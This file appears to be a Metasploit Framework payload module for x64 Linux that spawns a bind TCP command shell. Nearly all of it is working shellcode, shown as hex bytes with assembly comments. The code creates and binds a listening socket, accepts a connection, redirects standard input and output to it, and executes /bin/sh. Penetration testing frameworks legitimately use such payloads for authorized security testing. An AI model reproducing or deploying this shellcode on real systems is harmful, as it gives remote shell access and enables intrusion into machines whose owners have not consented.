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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 86
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  include Msf::Payload::Single
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  include Msf::Payload::Linux
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(merge_info(info,
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      'Name'          => 'Linux Command Shell, Bind TCP Inline',
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      'Description'   => 'Listen for a connection and spawn a command shell',
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      'Author'        => 'ricky',
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      'License'       => MSF_LICENSE,
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      'Platform'      => 'linux',
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      'Arch'          => ARCH_X64,
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      'Handler'       => Msf::Handler::BindTcp,
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      'Session'       => Msf::Sessions::CommandShellUnix,
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      'Payload'       =>
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        {
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          'Offsets' =>
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            {
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              'LPORT' => [ 20, 'n' ],
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            },
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          'Payload' =>
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            "\x6a\x29"                     + # pushq  $0x29
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            "\x58"                         + # pop    %rax
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            "\x99"                         + # cltd
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            "\x6a\x02"                     + # pushq  $0x2
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            "\x5f"                         + # pop    %rdi
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            "\x6a\x01"                     + # pushq  $0x1
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            "\x5e"                         + # pop    %rsi
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            "\x0f\x05"                     + # syscall
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            "\x48\x97"                     + # xchg   %rax,%rdi
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            "\x52"                         + # push   %rdx
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            "\xc7\x04\x24\x02\x00"         + # movl   $0xb3150002,(%rsp)
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            "\x15\xb3"                     + #
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            "\x48\x89\xe6"                 + # mov    %rsp,%rsi
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            "\x6a\x10"                     + # pushq  $0x10
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            "\x5a"                         + # pop    %rdx
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            "\x6a\x31"                     + # pushq  $0x31
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            "\x58"                         + # pop    %rax
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            "\x0f\x05"                     + # syscall
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            "\x6a\x32"                     + # pushq  $0x32
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            "\x58"                         + # pop    %rax
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            "\x0f\x05"                     + # syscall
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            "\x48\x31\xf6"                 + # xor    %rsi,%rsi
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            "\x6a\x2b"                     + # pushq  $0x2b
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            "\x58"                         + # pop    %rax
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            "\x0f\x05"                     + # syscall
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            "\x48\x97"                     + # xchg   %rax,%rdi
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            "\x6a\x03"                     + # pushq  $0x3
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            "\x5e"                         + # pop    %rsi
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            "\x48\xff\xce"                 + # dec    %rsi
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            "\x6a\x21"                     + # pushq  $0x21
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            "\x58"                         + # pop    %rax
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            "\x0f\x05"                     + # syscall
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            "\x75\xf6"                     + # jne    33 <dup2_loop>
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            "\x6a\x3b"                     + # pushq  $0x3b
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            "\x58"                         + # pop    %rax
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            "\x99"                         + # cltd
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            "\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx
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            "\x73\x68\x00"                 + #
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            "\x53"                         + # push   %rbx
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            "\x48\x89\xe7"                 + # mov    %rsp,%rdi
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            "\x52"                         + # push   %rdx
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            "\x57"                         + # push   %rdi
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            "\x48\x89\xe6"                 + # mov    %rsp,%rsi
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            "\x0f\x05"                       # syscall
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        }
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      ))
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  end
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end
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